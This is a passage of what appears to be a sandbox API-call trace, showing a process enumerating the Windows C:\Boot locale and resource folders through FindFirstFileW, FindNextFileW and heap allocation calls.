nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0213.431] GetProcessHeap () returned 0xc10000 [0213.431] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.431] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.431] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.431] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.432] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.432] FindClose (in: hFindFile=0x33e4b28 | out: hFindFile=0x33e4b28) returned 1 [0213.432] GetProcessHeap () returned 0xc10000 [0213.432] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0213.432] GetProcessHeap () returned 0xc10000 [0213.432] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0213.432] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.432] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.433] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.433] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.433] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0213.433] GetProcessHeap () returned 0xc10000 [0213.433] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0213.433] GetProcessHeap () returned 0xc10000 [0213.433] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.433] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.433] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.434] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.434] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.434] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0213.434] GetProcessHeap () returned 0xc10000 [0213.434] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0213.434] GetProcessHeap () returned 0xc10000 [0213.434] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0213.434] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.434] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.434] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.435] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.435] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0213.435] GetProcessHeap () returned 0xc10000 [0213.435] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.435] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0213.435] GetProcessHeap () returned 0xc10000 [0213.435] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0213.435] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.435] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0213.435] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="en-US", cAlternateFileName="")) returned 1 [0213.435] GetProcessHeap () returned 0xc10000 [0213.435] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0213.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0213.436] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="..", cAlternateFileName="")) returned 1 [0213.436] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0213.436] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0213.436] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0213.436] GetProcessHeap () returned 0xc10000 [0213.436] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0213.436] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="en-US", cAlternateFileName="")) returned 0 [0213.437] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0213.437] GetProcessHeap () returned 0xc10000 [0213.437] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.438] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0213.438] GetProcessHeap () returned 0xc10000 [0213.438] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0213.438] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.438] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.438] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.439] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0213.439] GetProcessHeap () returned 0xc10000 [0213.439] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.439] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0213.439] GetProcessHeap () returned 0xc10000 [0213.439] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, 